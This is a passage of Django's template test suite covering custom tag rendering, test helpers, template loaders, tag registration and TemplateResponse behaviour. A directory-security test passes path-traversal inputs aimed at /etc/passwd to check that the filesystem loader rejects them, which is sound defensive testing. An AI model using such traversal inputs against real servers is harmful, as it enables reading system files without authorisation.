                'inclusion_one_default_from_template - Expected result: 37, hi\n'),
            ('{% load inclusion %}{% inclusion_one_default_from_template 37 42 %}',
                'inclusion_one_default_from_template - Expected result: 37, 42\n'),
            ('{% load inclusion %}{% inclusion_unlimited_args_from_template 37 %}',
                'inclusion_unlimited_args_from_template - Expected result: 37, hi\n'),
            ('{% load inclusion %}{% inclusion_unlimited_args_from_template 37 42 56 89 %}',
                'inclusion_unlimited_args_from_template - Expected result: 37, 42, 56, 89\n'),
            ('{% load inclusion %}{% inclusion_only_unlimited_args_from_template %}',
                'inclusion_only_unlimited_args_from_template - Expected result: \n'),
            ('{% load inclusion %}{% inclusion_only_unlimited_args_from_template 37 42 56 89 %}',
                'inclusion_only_unlimited_args_from_template - Expected result: 37, 42, 56, 89\n'),
        ]

        for entry in templates:
            t = self.engine.from_string(entry[0])
            self.assertEqual(t.render(c), entry[1])

    def test_inclusion_tag_registration(self):
        # Test that the decorators preserve the decorated function's docstring, name and attributes.
        self.verify_tag(inclusion.inclusion_no_params, 'inclusion_no_params')
        self.verify_tag(inclusion.inclusion_one_param, 'inclusion_one_param')
        self.verify_tag(inclusion.inclusion_explicit_no_context, 'inclusion_explicit_no_context')
        self.verify_tag(inclusion.inclusion_no_params_with_context, 'inclusion_no_params_with_context')
        self.verify_tag(inclusion.inclusion_params_and_context, 'inclusion_params_and_context')
        self.verify_tag(inclusion.inclusion_two_params, 'inclusion_two_params')
        self.verify_tag(inclusion.inclusion_one_default, 'inclusion_one_default')
        self.verify_tag(inclusion.inclusion_unlimited_args, 'inclusion_unlimited_args')
        self.verify_tag(inclusion.inclusion_only_unlimited_args, 'inclusion_only_unlimited_args')
        self.verify_tag(inclusion.inclusion_tag_without_context_parameter, 'inclusion_tag_without_context_parameter')
        self.verify_tag(inclusion.inclusion_tag_use_l10n, 'inclusion_tag_use_l10n')
        self.verify_tag(inclusion.inclusion_unlimited_args_kwargs, 'inclusion_unlimited_args_kwargs')

    def test_15070_use_l10n(self):
        """
        Test that inclusion tag passes down `use_l10n` of context to the
        Context of the included/rendered template as well.
        """
        c = Context({})
        t = self.engine.from_string('{% load inclusion %}{% inclusion_tag_use_l10n %}')
        self.assertEqual(t.render(c).strip(), 'None')

        c.use_l10n = True
        self.assertEqual(t.render(c).strip(), 'True')

    def test_no_render_side_effect(self):
        """
        #23441 -- InclusionNode shouldn't modify its nodelist at render time.
        """
        engine = Engine(app_dirs=True, libraries=LIBRARIES)
        template = engine.from_string('{% load inclusion %}{% inclusion_no_params %}')
        count = template.nodelist.get_nodes_by_type(Node)
        template.render(Context({}))
        self.assertEqual(template.nodelist.get_nodes_by_type(Node), count)

    def test_render_context_is_cleared(self):
        """
        #24555 -- InclusionNode should push and pop the render_context stack
        when rendering. Otherwise, leftover values such as blocks from
        extending can interfere with subsequent rendering.
        """
        engine = Engine(app_dirs=True, libraries=LIBRARIES)
        template = engine.from_string('{% load inclusion %}{% inclusion_extends1 %}{% inclusion_extends2 %}')
        self.assertEqual(template.render(Context({})).strip(), 'one\ntwo')


class AssignmentTagTests(TagTestCase):

    def test_assignment_tags(self):
        c = Context({'value': 42})

        t = self.engine.from_string('{% load custom %}{% assignment_no_params as var %}The result is: {{ var }}')
        self.assertEqual(t.render(c), 'The result is: assignment_no_params - Expected result')

    def test_assignment_tag_registration(self):
        # Test that the decorators preserve the decorated function's docstring, name and attributes.
        self.verify_tag(custom.assignment_no_params, 'assignment_no_params')

    def test_assignment_tag_missing_context(self):
        # The 'context' parameter must be present when takes_context is True
        msg = (
            "'assignment_tag_without_context_parameter' is decorated with "
            "takes_context=True so it must have a first argument of 'context'"
        )
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.from_string('{% load custom %}{% assignment_tag_without_context_parameter 123 as var %}')


class TemplateTagLoadingTests(SimpleTestCase):

    @classmethod
    def setUpClass(cls):
        cls.egg_dir = os.path.join(ROOT, 'eggs')
        super(TemplateTagLoadingTests, cls).setUpClass()

    def test_load_error(self):
        msg = (
            "Invalid template library specified. ImportError raised when "
            "trying to load 'template_tests.broken_tag': cannot import name "
            "'?Xtemplate'?"
        )
        with six.assertRaisesRegex(self, InvalidTemplateLibrary, msg):
            Engine(libraries={
                'broken_tag': 'template_tests.broken_tag',
            })

    def test_load_error_egg(self):
        egg_name = '%s/tagsegg.egg' % self.egg_dir
        msg = (
            "Invalid template library specified. ImportError raised when "
            "trying to load 'tagsegg.templatetags.broken_egg': cannot "
            "import name '?Xtemplate'?"
        )
        with extend_sys_path(egg_name):
            with six.assertRaisesRegex(self, InvalidTemplateLibrary, msg):
                Engine(libraries={
                    'broken_egg': 'tagsegg.templatetags.broken_egg',
                })

    def test_load_working_egg(self):
        ttext = "{% load working_egg %}"
        egg_name = '%s/tagsegg.egg' % self.egg_dir
        with extend_sys_path(egg_name):
            engine = Engine(libraries={
                'working_egg': 'tagsegg.templatetags.working_egg',
            })
            engine.from_string(ttext)

    @skipUnless(six.PY3, "Python 3 only -- Python 2 doesn't have annotations.")
    def test_load_annotated_function(self):
        Engine(libraries={
            'annotated_tag_function': 'template_tests.annotated_tag_function',
        })






# coding: utf-8

from __future__ import unicode_literals

import functools
import os

from django.template.engine import Engine
from django.test.utils import override_settings
from django.utils._os import upath
from django.utils.encoding import python_2_unicode_compatible
from django.utils.safestring import mark_safe

ROOT = os.path.dirname(os.path.abspath(upath(__file__)))
TEMPLATE_DIR = os.path.join(ROOT, 'templates')


def setup(templates, *args, **kwargs):
    """
    Runs test method multiple times in the following order:

    debug       cached      string_if_invalid
    -----       ------      -----------------
    False       False
    False       True
    False       False       INVALID
    False       True        INVALID
    True        False
    True        True
    """
    # when testing deprecation warnings, it's useful to run just one test since
    # the message won't be displayed multiple times
    test_once = kwargs.get('test_once', False)

    for arg in args:
        templates.update(arg)

    # numerous tests make use of an inclusion tag
    # add this in here for simplicity
    templates["inclusion.html"] = "{{ result }}"

    loaders = [
        ('django.template.loaders.cached.Loader', [
            ('django.template.loaders.locmem.Loader', templates),
        ]),
    ]

    def decorator(func):
        # Make Engine.get_default() raise an exception to ensure that tests
        # are properly isolated from Django's global settings.
        @override_settings(TEMPLATES=None)
        @functools.wraps(func)
        def inner(self):
            # Set up custom template tag libraries if specified
            libraries = getattr(self, 'libraries', {})

            self.engine = Engine(
                libraries=libraries,
                loaders=loaders,
            )
            func(self)
            if test_once:
                return
            func(self)

            self.engine = Engine(
                libraries=libraries,
                loaders=loaders,
                string_if_invalid='INVALID',
            )
            func(self)
            func(self)

            self.engine = Engine(
                debug=True,
                libraries=libraries,
                loaders=loaders,
            )
            func(self)
            func(self)

        return inner

    return decorator


# Helper objects


class SomeException(Exception):
    silent_variable_failure = True


class SomeOtherException(Exception):
    pass


class ShouldNotExecuteException(Exception):
    pass


class SomeClass:
    def __init__(self):
        self.otherclass = OtherClass()

    def method(self):
        return 'SomeClass.method'

    def method2(self, o):
        return o

    def method3(self):
        raise SomeException

    def method4(self):
        raise SomeOtherException

    def method5(self):
        raise TypeError

    def __getitem__(self, key):
        if key == 'silent_fail_key':
            raise SomeException
        elif key == 'noisy_fail_key':
            raise SomeOtherException
        raise KeyError

    @property
    def silent_fail_attribute(self):
        raise SomeException

    @property
    def noisy_fail_attribute(self):
        raise SomeOtherException

    @property
    def attribute_error_attribute(self):
        raise AttributeError


class OtherClass:
    def method(self):
        return 'OtherClass.method'


class TestObj(object):
    def is_true(self):
        return True

    def is_false(self):
        return False

    def is_bad(self):
        raise ShouldNotExecuteException()


class SilentGetItemClass(object):
    def __getitem__(self, key):
        raise SomeException


class SilentAttrClass(object):
    def b(self):
        raise SomeException
    b = property(b)


@python_2_unicode_compatible
class UTF8Class:
    "Class whose __str__ returns non-ASCII data on Python 2"
    def __str__(self):
        return 'ŠĐĆŽćžšđ'


# These two classes are used to test auto-escaping of unicode output.
@python_2_unicode_compatible
class UnsafeClass:
    def __str__(self):
        return 'you & me'


@python_2_unicode_compatible
class SafeClass:
    def __str__(self):
        return mark_safe('you &gt; me')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import os.path
import sys
import tempfile
import types
import unittest
from contextlib import contextmanager

from django.template import Context, TemplateDoesNotExist
from django.template.engine import Engine
from django.test import SimpleTestCase, ignore_warnings, override_settings
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.functional import lazystr

from .utils import TEMPLATE_DIR

try:
    import pkg_resources
except ImportError:
    pkg_resources = None


class CachedLoaderTests(SimpleTestCase):

    def setUp(self):
        self.engine = Engine(
            dirs=[TEMPLATE_DIR],
            loaders=[
                ('django.template.loaders.cached.Loader', [
                    'django.template.loaders.filesystem.Loader',
                ]),
            ],
        )

    def test_get_template(self):
        template = self.engine.get_template('index.html')
        self.assertEqual(template.origin.name, os.path.join(TEMPLATE_DIR, 'index.html'))
        self.assertEqual(template.origin.template_name, 'index.html')
        self.assertEqual(template.origin.loader, self.engine.template_loaders[0].loaders[0])

        cache = self.engine.template_loaders[0].get_template_cache
        self.assertEqual(cache['index.html'], template)

        # Run a second time from cache
        template = self.engine.get_template('index.html')
        self.assertEqual(template.origin.name, os.path.join(TEMPLATE_DIR, 'index.html'))
        self.assertEqual(template.origin.template_name, 'index.html')
        self.assertEqual(template.origin.loader, self.engine.template_loaders[0].loaders[0])

    def test_get_template_missing_debug_off(self):
        """
        With template debugging disabled, the raw TemplateDoesNotExist class
        should be cached when a template is missing. See ticket #26306 and
        docstrings in the cached loader for details.
        """
        self.engine.debug = False
        with self.assertRaises(TemplateDoesNotExist):
            self.engine.get_template('prod-template-missing.html')
        e = self.engine.template_loaders[0].get_template_cache['prod-template-missing.html']
        self.assertEqual(e, TemplateDoesNotExist)

    def test_get_template_missing_debug_on(self):
        """
        With template debugging enabled, a TemplateDoesNotExist instance
        should be cached when a template is missing.
        """
        self.engine.debug = True
        with self.assertRaises(TemplateDoesNotExist):
            self.engine.get_template('debug-template-missing.html')
        e = self.engine.template_loaders[0].get_template_cache['debug-template-missing.html']
        self.assertIsInstance(e, TemplateDoesNotExist)
        self.assertEqual(e.args[0], 'debug-template-missing.html')

    @unittest.skipIf(six.PY2, "Python 2 doesn't set extra exception attributes")
    def test_cached_exception_no_traceback(self):
        """
        When a TemplateDoesNotExist instance is cached, the cached instance
        should not contain the __traceback__, __context__, or __cause__
        attributes that Python sets when raising exceptions.
        """
        self.engine.debug = True
        with self.assertRaises(TemplateDoesNotExist):
            self.engine.get_template('no-traceback-in-cache.html')
        e = self.engine.template_loaders[0].get_template_cache['no-traceback-in-cache.html']

        error_msg = "Cached TemplateDoesNotExist must not have been thrown."
        self.assertIsNone(e.__traceback__, error_msg)
        self.assertIsNone(e.__context__, error_msg)
        self.assertIsNone(e.__cause__, error_msg)

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_load_template(self):
        loader = self.engine.template_loaders[0]
        template, origin = loader.load_template('index.html')
        self.assertEqual(template.origin.template_name, 'index.html')

        cache = self.engine.template_loaders[0].template_cache
        self.assertEqual(cache['index.html'][0], template)

        # Run a second time from cache
        loader = self.engine.template_loaders[0]
        source, name = loader.load_template('index.html')
        self.assertEqual(template.origin.template_name, 'index.html')

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_load_template_missing(self):
        """
        #19949 -- TemplateDoesNotExist exceptions should be cached.
        """
        loader = self.engine.template_loaders[0]

        self.assertNotIn('missing.html', loader.template_cache)

        with self.assertRaises(TemplateDoesNotExist):
            loader.load_template("missing.html")

        self.assertEqual(
            loader.template_cache["missing.html"],
            TemplateDoesNotExist,
            "Cached loader failed to cache the TemplateDoesNotExist exception",
        )

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_load_nonexistent_cached_template(self):
        loader = self.engine.template_loaders[0]
        template_name = 'nonexistent.html'

        # fill the template cache
        with self.assertRaises(TemplateDoesNotExist):
            loader.find_template(template_name)

        with self.assertRaisesMessage(TemplateDoesNotExist, template_name):
            loader.get_template(template_name)

    def test_templatedir_caching(self):
        """
        #13573 -- Template directories should be part of the cache key.
        """
        # Retrieve a template specifying a template directory to check
        t1, name = self.engine.find_template('test.html', (os.path.join(TEMPLATE_DIR, 'first'),))
        # Now retrieve the same template name, but from a different directory
        t2, name = self.engine.find_template('test.html', (os.path.join(TEMPLATE_DIR, 'second'),))

        # The two templates should not have the same content
        self.assertNotEqual(t1.render(Context({})), t2.render(Context({})))

    def test_template_name_leading_dash_caching(self):
        """
        #26536 -- A leading dash in a template name shouldn't be stripped
        from its cache key.
        """
        self.assertEqual(self.engine.template_loaders[0].cache_key('-template.html', []), '-template.html')

    def test_template_name_lazy_string(self):
        """
        #26603 -- A template name specified as a lazy string should be forced
        to text before computing its cache key.
        """
        self.assertEqual(self.engine.template_loaders[0].cache_key(lazystr('template.html'), []), 'template.html')


@unittest.skipUnless(pkg_resources, 'setuptools is not installed')
class EggLoaderTests(SimpleTestCase):

    @contextmanager
    def create_egg(self, name, resources):
        """
        Creates a mock egg with a list of resources.

        name: The name of the module.
        resources: A dictionary of template names mapped to file-like objects.
        """

        if six.PY2:
            name = name.encode('utf-8')

        class MockLoader(object):
            pass

        class MockProvider(pkg_resources.NullProvider):
            def __init__(self, module):
                pkg_resources.NullProvider.__init__(self, module)
                self.module = module

            def _has(self, path):
                return path in self.module._resources

            def _isdir(self, path):
                return False

            def get_resource_stream(self, manager, resource_name):
                return self.module._resources[resource_name]

            def _get(self, path):
                return self.module._resources[path].read()

            def _fn(self, base, resource_name):
                return os.path.normcase(resource_name)

        egg = types.ModuleType(name)
        egg.__loader__ = MockLoader()
        egg.__path__ = ['/some/bogus/path/']
        egg.__file__ = '/some/bogus/path/__init__.pyc'
        egg._resources = resources
        sys.modules[name] = egg
        pkg_resources._provider_factories[MockLoader] = MockProvider

        try:
            yield
        finally:
            del sys.modules[name]
            del pkg_resources._provider_factories[MockLoader]

    @classmethod
    @ignore_warnings(category=RemovedInDjango20Warning)
    def setUpClass(cls):
        cls.engine = Engine(loaders=[
            'django.template.loaders.eggs.Loader',
        ])
        cls.loader = cls.engine.template_loaders[0]
        super(EggLoaderTests, cls).setUpClass()

    def test_get_template(self):
        templates = {
            os.path.normcase('templates/y.html'): six.StringIO("y"),
        }

        with self.create_egg('egg', templates):
            with override_settings(INSTALLED_APPS=['egg']):
                template = self.engine.get_template("y.html")

        self.assertEqual(template.origin.name, 'egg:egg:templates/y.html')
        self.assertEqual(template.origin.template_name, 'y.html')
        self.assertEqual(template.origin.loader, self.engine.template_loaders[0])

        output = template.render(Context({}))
        self.assertEqual(output, "y")

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_load_template_source(self):
        loader = self.engine.template_loaders[0]
        templates = {
            os.path.normcase('templates/y.html'): six.StringIO("y"),
        }

        with self.create_egg('egg', templates):
            with override_settings(INSTALLED_APPS=['egg']):
                source, name = loader.load_template_source('y.html')

        self.assertEqual(source.strip(), 'y')
        self.assertEqual(name, 'egg:egg:templates/y.html')

    def test_non_existing(self):
        """
        Template loading fails if the template is not in the egg.
        """
        with self.create_egg('egg', {}):
            with override_settings(INSTALLED_APPS=['egg']):
                with self.assertRaises(TemplateDoesNotExist):
                    self.engine.get_template('not-existing.html')

    def test_not_installed(self):
        """
        Template loading fails if the egg is not in INSTALLED_APPS.
        """
        templates = {
            os.path.normcase('templates/y.html'): six.StringIO("y"),
        }

        with self.create_egg('egg', templates):
            with self.assertRaises(TemplateDoesNotExist):
                self.engine.get_template('y.html')


class FileSystemLoaderTests(SimpleTestCase):

    @classmethod
    def setUpClass(cls):
        cls.engine = Engine(dirs=[TEMPLATE_DIR])
        super(FileSystemLoaderTests, cls).setUpClass()

    @contextmanager
    def set_dirs(self, dirs):
        original_dirs = self.engine.dirs
        self.engine.dirs = dirs
        try:
            yield
        finally:
            self.engine.dirs = original_dirs

    @contextmanager
    def source_checker(self, dirs):
        loader = self.engine.template_loaders[0]

        def check_sources(path, expected_sources):
            expected_sources = [os.path.abspath(s) for s in expected_sources]
            self.assertEqual(
                [origin.name for origin in loader.get_template_sources(path)],
                expected_sources,
            )

        with self.set_dirs(dirs):
            yield check_sources

    def test_get_template(self):
        template = self.engine.get_template('index.html')
        self.assertEqual(template.origin.name, os.path.join(TEMPLATE_DIR, 'index.html'))
        self.assertEqual(template.origin.template_name, 'index.html')
        self.assertEqual(template.origin.loader, self.engine.template_loaders[0])
        self.assertEqual(template.origin.loader_name, 'django.template.loaders.filesystem.Loader')

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_load_template_source(self):
        loader = self.engine.template_loaders[0]
        source, name = loader.load_template_source('index.html')
        self.assertEqual(source.strip(), 'index')
        self.assertEqual(name, os.path.join(TEMPLATE_DIR, 'index.html'))

    def test_directory_security(self):
        with self.source_checker(['/dir1', '/dir2']) as check_sources:
            check_sources('index.html', ['/dir1/index.html', '/dir2/index.html'])
            check_sources('/etc/passwd', [])
            check_sources('etc/passwd', ['/dir1/etc/passwd', '/dir2/etc/passwd'])
            check_sources('../etc/passwd', [])
            check_sources('../../../etc/passwd', [])
            check_sources('/dir1/index.html', ['/dir1/index.html'])
            check_sources('../dir2/index.html', ['/dir2/index.html'])
            check_sources('/dir1blah', [])
            check_sources('../dir1blah', [])

    def test_unicode_template_name(self):
        with self.source_checker(['/dir1', '/dir2']) as check_sources:
            # UTF-8 bytestrings are permitted.
            check_sources(b'\xc3\x85ngstr\xc3\xb6m', ['/dir1/Ångström', '/dir2/Ångström'])
            # Unicode strings are permitted.
            check_sources('Ångström', ['/dir1/Ångström', '/dir2/Ångström'])

    def test_utf8_bytestring(self):
        """
        Invalid UTF-8 encoding in bytestrings should raise a useful error
        """
        engine = Engine()
        loader = engine.template_loaders[0]
        with self.assertRaises(UnicodeDecodeError):
            list(loader.get_template_sources(b'\xc3\xc3', ['/dir1']))

    def test_unicode_dir_name(self):
        with self.source_checker([b'/Stra\xc3\x9fe']) as check_sources:
            check_sources('Ångström', ['/Straße/Ångström'])
            check_sources(b'\xc3\x85ngstr\xc3\xb6m', ['/Straße/Ångström'])

    @unittest.skipUnless(
        os.path.normcase('/TEST') == os.path.normpath('/test'),
        "This test only runs on case-sensitive file systems.",
    )
    def test_case_sensitivity(self):
        with self.source_checker(['/dir1', '/DIR2']) as check_sources:
            check_sources('index.html', ['/dir1/index.html', '/DIR2/index.html'])
            check_sources('/DIR1/index.HTML', ['/DIR1/index.HTML'])

    def test_file_does_not_exist(self):
        with self.assertRaises(TemplateDoesNotExist):
            self.engine.get_template('doesnotexist.html')

    @unittest.skipIf(
        sys.platform == 'win32',
        "Python on Windows doesn't have working os.chmod().",
    )
    def test_permissions_error(self):
        with tempfile.NamedTemporaryFile() as tmpfile:
            tmpdir = os.path.dirname(tmpfile.name)
            tmppath = os.path.join(tmpdir, tmpfile.name)
            os.chmod(tmppath, 0o0222)
            with self.set_dirs([tmpdir]):
                with self.assertRaisesMessage(IOError, 'Permission denied'):
                    self.engine.get_template(tmpfile.name)

    def test_notafile_error(self):
        with self.assertRaises(IOError):
            self.engine.get_template('first')


class AppDirectoriesLoaderTests(SimpleTestCase):

    @classmethod
    def setUpClass(cls):
        cls.engine = Engine(
            loaders=['django.template.loaders.app_directories.Loader'],
        )
        super(AppDirectoriesLoaderTests, cls).setUpClass()

    @override_settings(INSTALLED_APPS=['template_tests'])
    def test_get_template(self):
        template = self.engine.get_template('index.html')
        self.assertEqual(template.origin.name, os.path.join(TEMPLATE_DIR, 'index.html'))
        self.assertEqual(template.origin.template_name, 'index.html')
        self.assertEqual(template.origin.loader, self.engine.template_loaders[0])

    @ignore_warnings(category=RemovedInDjango20Warning)
    @override_settings(INSTALLED_APPS=['template_tests'])
    def test_load_template_source(self):
        loader = self.engine.template_loaders[0]
        source, name = loader.load_template_source('index.html')
        self.assertEqual(source.strip(), 'index')
        self.assertEqual(name, os.path.join(TEMPLATE_DIR, 'index.html'))

    @override_settings(INSTALLED_APPS=[])
    def test_not_installed(self):
        with self.assertRaises(TemplateDoesNotExist):
            self.engine.get_template('index.html')


class LocmemLoaderTests(SimpleTestCase):

    @classmethod
    def setUpClass(cls):
        cls.engine = Engine(
            loaders=[('django.template.loaders.locmem.Loader', {
                'index.html': 'index',
            })],
        )
        super(LocmemLoaderTests, cls).setUpClass()

    def test_get_template(self):
        template = self.engine.get_template('index.html')
        self.assertEqual(template.origin.name, 'index.html')
        self.assertEqual(template.origin.template_name, 'index.html')
        self.assertEqual(template.origin.loader, self.engine.template_loaders[0])

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_load_template_source(self):
        loader = self.engine.template_loaders[0]
        source, name = loader.load_template_source('index.html')
        self.assertEqual(source.strip(), 'index')
        self.assertEqual(name, 'index.html')






from django.template import Library
from django.template.base import Node
from django.test import TestCase


class FilterRegistrationTests(TestCase):

    def setUp(self):
        self.library = Library()

    def test_filter(self):
        @self.library.filter
        def func():
            return ''
        self.assertEqual(self.library.filters['func'], func)

    def test_filter_parens(self):
        @self.library.filter()
        def func():
            return ''
        self.assertEqual(self.library.filters['func'], func)

    def test_filter_name_arg(self):
        @self.library.filter('name')
        def func():
            return ''
        self.assertEqual(self.library.filters['name'], func)

    def test_filter_name_kwarg(self):
        @self.library.filter(name='name')
        def func():
            return ''
        self.assertEqual(self.library.filters['name'], func)

    def test_filter_call(self):
        def func():
            return ''
        self.library.filter('name', func)
        self.assertEqual(self.library.filters['name'], func)

    def test_filter_invalid(self):
        msg = "Unsupported arguments to Library.filter: (None, '')"
        with self.assertRaisesMessage(ValueError, msg):
            self.library.filter(None, '')


class InclusionTagRegistrationTests(TestCase):

    def setUp(self):
        self.library = Library()

    def test_inclusion_tag(self):
        @self.library.inclusion_tag('template.html')
        def func():
            return ''
        self.assertIn('func', self.library.tags)

    def test_inclusion_tag_name(self):
        @self.library.inclusion_tag('template.html', name='name')
        def func():
            return ''
        self.assertIn('name', self.library.tags)


class SimpleTagRegistrationTests(TestCase):

    def setUp(self):
        self.library = Library()

    def test_simple_tag(self):
        @self.library.simple_tag
        def func():
            return ''
        self.assertIn('func', self.library.tags)

    def test_simple_tag_parens(self):
        @self.library.simple_tag()
        def func():
            return ''
        self.assertIn('func', self.library.tags)

    def test_simple_tag_name_kwarg(self):
        @self.library.simple_tag(name='name')
        def func():
            return ''
        self.assertIn('name', self.library.tags)

    def test_simple_tag_invalid(self):
        msg = "Invalid arguments provided to simple_tag"
        with self.assertRaisesMessage(ValueError, msg):
            self.library.simple_tag('invalid')


class TagRegistrationTests(TestCase):

    def setUp(self):
        self.library = Library()

    def test_tag(self):
        @self.library.tag
        def func(parser, token):
            return Node()
        self.assertEqual(self.library.tags['func'], func)

    def test_tag_parens(self):
        @self.library.tag()
        def func(parser, token):
            return Node()
        self.assertEqual(self.library.tags['func'], func)

    def test_tag_name_arg(self):
        @self.library.tag('name')
        def func(parser, token):
            return Node()
        self.assertEqual(self.library.tags['name'], func)

    def test_tag_name_kwarg(self):
        @self.library.tag(name='name')
        def func(parser, token):
            return Node()
        self.assertEqual(self.library.tags['name'], func)

    def test_tag_call(self):
        def func(parser, token):
            return Node()
        self.library.tag('name', func)
        self.assertEqual(self.library.tags['name'], func)

    def test_tag_invalid(self):
        msg = "Unsupported arguments to Library.tag: (None, '')"
        with self.assertRaisesMessage(ValueError, msg):
            self.library.tag(None, '')






from __future__ import unicode_literals

import pickle
import time
from datetime import datetime

from django.template import engines
from django.template.response import (
    ContentNotRenderedError, SimpleTemplateResponse, TemplateResponse,
)
from django.test import (
    RequestFactory, SimpleTestCase, modify_settings, override_settings,
)
from django.test.utils import ignore_warnings, require_jinja2
from django.utils.deprecation import MiddlewareMixin, RemovedInDjango20Warning

from .utils import TEMPLATE_DIR


def test_processor(request):
    return {'processors': 'yes'}
test_processor_name = 'template_tests.test_response.test_processor'


# A test middleware that installs a temporary URLConf
class CustomURLConfMiddleware(MiddlewareMixin):
    def process_request(self, request):
        request.urlconf = 'template_tests.alternate_urls'


class SimpleTemplateResponseTest(SimpleTestCase):

    def _response(self, template='foo', *args, **kwargs):
        template = engines['django'].from_string(template)
        return SimpleTemplateResponse(template, *args, **kwargs)

    def test_template_resolving(self):
        response = SimpleTemplateResponse('first/test.html')
        response.render()
        self.assertEqual(response.content, b'First template\n')

        templates = ['foo.html', 'second/test.html', 'first/test.html']
        response = SimpleTemplateResponse(templates)
        response.render()
        self.assertEqual(response.content, b'Second template\n')

        response = self._response()
        response.render()
        self.assertEqual(response.content, b'foo')

    def test_explicit_baking(self):
        # explicit baking
        response = self._response()
        self.assertFalse(response.is_rendered)
        response.render()
        self.assertTrue(response.is_rendered)

    def test_render(self):
        # response is not re-rendered without the render call
        response = self._response().render()
        self.assertEqual(response.content, b'foo')

        # rebaking doesn't change the rendered content
        template = engines['django'].from_string('bar{{ baz }}')
        response.template_name = template
        response.render()
        self.assertEqual(response.content, b'foo')

        # but rendered content can be overridden by manually
        # setting content
        response.content = 'bar'
        self.assertEqual(response.content, b'bar')

    def test_iteration_unrendered(self):
        # unrendered response raises an exception on iteration
        response = self._response()
        self.assertFalse(response.is_rendered)

        def iteration():
            for x in response:
                pass
        with self.assertRaises(ContentNotRenderedError):
            iteration()
        self.assertFalse(response.is_rendered)

    def test_iteration_rendered(self):
        # iteration works for rendered responses
        response = self._response().render()
        res = [x for x in response]
        self.assertEqual(res, [b'foo'])

    def test_content_access_unrendered(self):
        # unrendered response raises an exception when content is accessed
        response = self._response()
        self.assertFalse(response.is_rendered)
        with self.assertRaises(ContentNotRenderedError):
            response.content
        self.assertFalse(response.is_rendered)

    def test_content_access_rendered(self):
        # rendered response content can be accessed
        response = self._response().render()
        self.assertEqual(response.content, b'foo')

    def test_set_content(self):
        # content can be overridden
        response = self._response()
        self.assertFalse(response.is_rendered)
        response.content = 'spam'
        self.assertTrue(response.is_rendered)
        self.assertEqual(response.content, b'spam')
        response.content = 'baz'
        self.assertEqual(response.content, b'baz')

    def test_dict_context(self):
        response = self._response('{{ foo }}{{ processors }}',
                                  {'foo': 'bar'})
        self.assertEqual(response.context_data, {'foo': 'bar'})
        response.render()
        self.assertEqual(response.content, b'bar')

    def test_kwargs(self):
        response = self._response(content_type='application/json', status=504)
        self.assertEqual(response['content-type'], 'application/json')
        self.assertEqual(response.status_code, 504)

    def test_args(self):
        response = SimpleTemplateResponse('', {}, 'application/json', 504)
        self.assertEqual(response['content-type'], 'application/json')
        self.assertEqual(response.status_code, 504)

    @require_jinja2
    def test_using(self):
        response = SimpleTemplateResponse('template_tests/using.html').render()
        self.assertEqual(response.content, b'DTL\n')
        response = SimpleTemplateResponse('template_tests/using.html', using='django').render()
        self.assertEqual(response.content, b'DTL\n')
        response = SimpleTemplateResponse('template_tests/using.html', using='jinja2').render()
        self.assertEqual(response.content, b'Jinja2\n')

    def test_post_callbacks(self):
        "Rendering a template response triggers the post-render callbacks"
        post = []

        def post1(obj):
            post.append('post1')

        def post2(obj):
            post.append('post2')

        response = SimpleTemplateResponse('first/test.html', {})
        response.add_post_render_callback(post1)
        response.add_post_render_callback(post2)

        # When the content is rendered, all the callbacks are invoked, too.
        response.render()
        self.assertEqual(response.content, b'First template\n')
        self.assertEqual(post, ['post1', 'post2'])

    def test_pickling(self):
        # Create a template response. The context is
        # known to be unpicklable (e.g., a function).
        response = SimpleTemplateResponse('first/test.html', {
            'value': 123,
            'fn': datetime.now,
        })
        with self.assertRaises(ContentNotRenderedError):
            pickle.dumps(response)

        # But if we render the response, we can pickle it.
        response.render()
        pickled_response = pickle.dumps(response)
        unpickled_response = pickle.loads(pickled_response)

        self.assertEqual(unpickled_response.content, response.content)
        self.assertEqual(unpickled_response['content-type'], response['content-type'])
        self.assertEqual(unpickled_response.status_code, response.status_code)

        # ...and the unpickled response doesn't have the
        # template-related attributes, so it can't be re-rendered
        template_attrs = ('template_name', 'context_data', '_post_render_callbacks')
        for attr in template_attrs:
            self.assertFalse(hasattr(unpickled_response, attr))

        # ...and requesting any of those attributes raises an exception
        for attr in template_attrs:
            with self.assertRaises(AttributeError):
                getattr(unpickled_response, attr)

    def test_repickling(self):
        response = SimpleTemplateResponse('first/test.html', {
            'value': 123,
            'fn': datetime.now,
        })
        with self.assertRaises(ContentNotRenderedError):
            pickle.dumps(response)

        response.render()
        pickled_response = pickle.dumps(response)
        unpickled_response = pickle.loads(pickled_response)
        pickle.dumps(unpickled_response)

    def test_pickling_cookie(self):
        response = SimpleTemplateResponse('first/test.html', {
            'value': 123,
            'fn': datetime.now,
        })

        response.cookies['key'] = 'value'

        response.render()
        pickled_response = pickle.dumps(response, pickle.HIGHEST_PROTOCOL)
        unpickled_response = pickle.loads(pickled_response)

        self.assertEqual(unpickled_response.cookies['key'].value, 'value')


@override_settings(TEMPLATES=[{
    'BACKEND': 'django.template.backends.django.DjangoTemplates',
    'DIRS': [TEMPLATE_DIR],
    'OPTIONS': {
        'context_processors': [test_processor_name],
    },
}])
class TemplateResponseTest(SimpleTestCase):

    def setUp(self):
        self.factory = RequestFactory()

    def _response(self, template='foo', *args, **kwargs):
        self._request = self.factory.get('/')
        template = engines['django'].from_string(template)
        return TemplateResponse(self._request, template, *args, **kwargs)

    def test_render(self):
        response = self._response('{{ foo }}{{ processors }}').render()
        self.assertEqual(response.content, b'yes')

    def test_render_with_requestcontext(self):
        response = self._response('{{ foo }}{{ processors }}',
                                  {'foo': 'bar'}).render()
        self.assertEqual(response.content, b'baryes')

    def test_context_processor_priority(self):
        # context processors should be overridden by passed-in context
        response = self._response('{{ foo }}{{ processors }}',
                                  {'processors': 'no'}).render()
        self.assertEqual(response.content, b'no')

    def test_kwargs(self):
        response = self._response(content_type='application/json',
                                  status=504)
        self.assertEqual(response['content-type'], 'application/json')
        self.assertEqual(response.status_code, 504)

    def test_args(self):
        response = TemplateResponse(self.factory.get('/'), '', {},
